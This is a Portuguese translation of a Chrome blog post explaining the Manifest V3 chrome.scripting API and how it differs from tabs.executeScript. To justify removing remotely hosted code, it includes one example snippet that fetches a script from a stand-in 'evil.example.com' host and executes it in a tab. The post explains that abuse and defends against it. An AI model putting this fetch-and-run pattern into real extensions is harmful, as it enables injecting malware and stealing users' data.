Introdução ao chrome.scripting

Simeon Vincent
Simeon Vincent

O Manifest V3 (link em inglês) introduz várias mudanças na plataforma de extensões do Chrome. Nesta postagem, exploraremos as motivações e mudanças introduzidas por uma das mudanças mais notáveis: a introdução da API chrome.scripting.

O que é chrome.scripting?

Como o nome pode sugerir, chrome.scripting é um novo namespace introduzido no Manifesto V3. responsável pelos recursos de injeção de script e estilo.

Os desenvolvedores que já criaram extensões do Chrome podem conhecer os métodos do Manifest V2 na API Tabs, como chrome.tabs.executeScript e chrome.tabs.insertCSS. Esses métodos permitem que as extensões injetem scripts e folhas de estilo em páginas, respectivamente. No Manifesto V3, esses recursos foram movidos para chrome.scripting e planejamos expandir essa API com alguns novos recursos no futuro.

Por que criar uma nova API?

Com uma mudança como essa, uma das primeiras perguntas que tende a surgir é "por quê?".

Alguns fatores diferentes levaram a equipe do Chrome a decidir introduzir um novo namespace para scripts. Primeiro, a API Tabs é uma espécie de lixeira para recursos. Em segundo lugar, precisávamos dividir mudanças na API executeScript já existente. Terceiro, sabíamos que queríamos expandir o uso de scripts recursos para extensões. Juntas, essas preocupações definiram claramente a necessidade de um novo namespace e recursos de scripting internos.

A gaveta de lixo eletrônico

Um dos problemas que incomoda a equipe do Extensions nos últimos anos é que os A API chrome.tabs está sobrecarregada. Quando essa API foi introduzida, a maioria dos recursos fornecidos estavam relacionados ao amplo conceito de uma guia do navegador. Mesmo naquele momento, porém, era uma um monte de recursos e, com o passar dos anos, essa coleção só cresceu.

Quando o Manifest V3 foi lançado, a API Tabs já havia crescido para cobrir o gerenciamento básico de guias, gerenciamento de seleção, organização de janelas, mensagens, controle de zoom, navegação básica, scripting e alguns outros recursos menores. Embora todos sejam importantes, pode ser um pouco desgastante para desenvolvedores quando eles estão começando e para a equipe do Chrome enquanto mantemos a plataforma e considerar as solicitações da comunidade de desenvolvedores.

Outro fator complicado é que a permissão tabs não é bem compreendida. Enquanto muitas outras as permissões restringem o acesso a uma determinada API (por exemplo, storage), essa permissão é um pouco incomum porque só concede à extensão acesso a propriedades confidenciais em instâncias de guia (e também afeta a API do Windows). É compreensível que muitos desenvolvedores de extensões pensem essa permissão é necessária para acessar métodos na API Tabs, como chrome.tabs.create. em alemão, chrome.tabs.executeScript. Remoção da funcionalidade da API Tabs ajuda a esclarecer parte dessa confusão.

Alterações importantes

Ao projetar o Manifesto V3, um dos principais problemas que queríamos abordar era o abuso e o malware ativado por "código hospedado remotamente" - código que é executado, mas não incluído na extensão . É comum que autores de extensões abusivos executem scripts buscados de servidores remotos para roubar dados de usuários, injetar malware e evitar detecção. Embora bons usuários também usem essa capacidade, e, no fim, sentiu que era simplesmente muito perigoso permanecer como era.

Há algumas maneiras diferentes de as extensões executarem códigos desagrupados, mas a mais relevante este é o método chrome.tabs.executeScript do Manifest V2. Esse método permite que uma extensão executar uma string arbitrária de código em uma guia de destino. Isso significa que um desenvolvedor malicioso pode buscar um script arbitrário de um servidor remoto e executá-lo dentro de qualquer página que a extensão possa acesso. Sabíamos que, se quiséssemos resolver o problema do código remoto, teríamos que descartar esse .

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Também queríamos limpar alguns outros problemas mais sutis com o design da versão do Manifesto V2. tornar a API uma ferramenta mais refinada e previsível.

Embora pudéssemos ter mudado a assinatura desse método na API Tabs, percebemos que entre essas mudanças interruptivas e a introdução de novos recursos (abordados na próxima seção), um a pausa seria mais fácil para todos.

Expansão dos recursos de script

Outra consideração que serviu para o processo de design do Manifesto V3 foi o desejo de introduzir recursos de script adicionais para a plataforma de extensões do Chrome. Especificamente, queríamos adicionar suporte a scripts de conteúdo dinâmico e expandir os recursos do método executeScript.

O suporte a scripts de conteúdo dinâmico é uma solicitação de recurso há muito tempo no Chromium. Hoje, As extensões do Chrome do Manifest V2 e V3 só podem declarar estaticamente scripts de conteúdo no manifest.json; a plataforma não oferece uma maneira de registrar novos scripts de conteúdo, ajustar registro de script de conteúdo ou cancelar o registro de scripts de conteúdo no tempo de execução.

Sabíamos que queríamos atender a esse pedido de recurso no Manifesto V3, nenhum dos nossos As APIs pareciam ser a casa certa. Também consideramos o alinhamento com o Firefox em seus Scripts de conteúdo API, mas logo no início identificamos algumas desvantagens importantes dessa abordagem. Primeiro, sabíamos que teríamos assinaturas incompatíveis (por exemplo, abandonando a compatibilidade com o code) ). Segundo, nossa API tinha um conjunto diferente de restrições de design (por exemplo, a necessidade de um registro para persistem além do ciclo de vida de um service worker). Por fim, esse namespace também nos criaria para de script de conteúdo em que pensamos em usar scripts em extensões de forma mais ampla.

No executeScript, também queríamos expandir o que essa API podia fazer além do que as guias Versão da API compatível. Mais especificamente, queríamos oferecer suporte a funções e argumentos de forma mais fácil segmentar frames específicos e segmentar elementos que não sejam "guia" contextos de negócios diferentes.

No futuro, também estamos considerando como as extensões podem interagir com PWAs instalados e outros contextos que não são mapeados conceitualmente para "guias".

Alterações entre tabulações.executeScript e scripting.executeScript

No restante desta postagem, gostaria de analisar mais de perto as semelhanças e diferenças entre chrome.tabs.executeScript e chrome.scripting.executeScript

Como injetar uma função com argumentos

Ao considerar como a plataforma precisaria evoluir considerando o código hospedado remotamente restrições, queríamos encontrar um equilíbrio entre o poder bruto da execução arbitrária de códigos e apenas e permitir scripts de conteúdo estático. A solução que encontramos foi permitir que as extensões injetassem uma como um script de conteúdo e para transmitir uma matriz de valores como argumentos.

Vamos analisar rapidamente um exemplo (muito simplificado). Digamos que queiramos injetar um script cumprimentou o usuário pelo nome quando ele clica no botão de ação da extensão (ícone na barra de ferramentas). No Manifesto V2, poderíamos construir dinamicamente uma string de código e executar esse script na página.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Embora as extensões do Manifest V3 não possam usar códigos que não sejam empacotados com a extensão, nosso objetivo era preservar parte do dinamismo que os blocos de código arbitrários habilitaram para extensões do Manifesto V2. A abordagem de função e argumentos possibilita que revisores da Chrome Web Store, usuários e outros partes interessadas podem avaliar com mais precisão os riscos que uma extensão representa, ao mesmo tempo em que permite que os desenvolvedores modifiquem o comportamento de tempo de execução de uma extensão com base nas configurações do usuário ou no estado do aplicativo.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Frames de segmentação

Também queríamos melhorar a forma como os desenvolvedores interagem com os frames na API revisada. O Manifesto V2 versão de executeScript permitia que os desenvolvedores segmentassem todos os frames de uma guia ou uma na guia. É possível usar chrome.webNavigation.getAllFrames para conseguir uma lista de todos os frames em uma guia.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

No Manifesto V3, substituímos a propriedade de número inteiro frameId opcional no objeto de opções por uma matriz opcional frameIds de números inteiros; os desenvolvedores podem segmentar vários frames em uma chamada de API.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Resultados da injeção de script

Também melhoramos a forma como retornamos os resultados da injeção de script no Manifesto V3. Um "resultado" é basicamente a instrução final avaliada em um script. Pense nisso como o valor retornado quando você chamar eval() ou executar um bloco de código no console do Chrome DevTools, mas serializado para transmitir os resultados entre processos.

No Manifesto V2, executeScript e insertCSS retornariam uma matriz de resultados de execução simples. Isso não é um problema se você só tem um ponto de injeção, mas a ordem de resultados não é garantida quando injetando em vários frames, então não há como saber qual resultado está associado a qual frame.

Para ver um exemplo concreto, vamos examinar as matrizes results retornadas por um Manifesto V2 e um Versão do Manifest V3 da mesma extensão. As duas versões da extensão injetarão os mesmos dados script de conteúdo, e vamos comparar os resultados na mesma página de demonstração.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Quando executamos a versão do Manifesto V2, recebemos uma matriz de [1, 0, 5]. Qual resultado corresponde ao frame principal e qual é para o iframe? O valor de retorno não nos informa, portanto não sabemos com certeza.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Na versão do Manifesto V3, results agora contém uma matriz de objetos de resultado em vez de uma matriz de apenas os resultados da avaliação, e os objetos de resultado identificam claramente o ID do frame para cada resultado. Assim, fica muito mais fácil para os desenvolvedores utilizarem o resultado e agirem em uma frame.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Resumo

Os aumentos na versão do manifesto são uma rara oportunidade para repensar e modernizar as APIs de extensões. Nosso objetivo com o Manifest V3 é melhorar a experiência do usuário final, tornando as extensões mais seguras e, ao mesmo tempo, melhorando a experiência do desenvolvedor. Com o lançamento do chrome.scripting no Manifesto V3, foi possível para ajudar a limpar a API Tabs e reformular o executeScript para uma plataforma de extensões mais segura, e estabelecer as bases para novos recursos de scripting que serão lançados ainda este ano.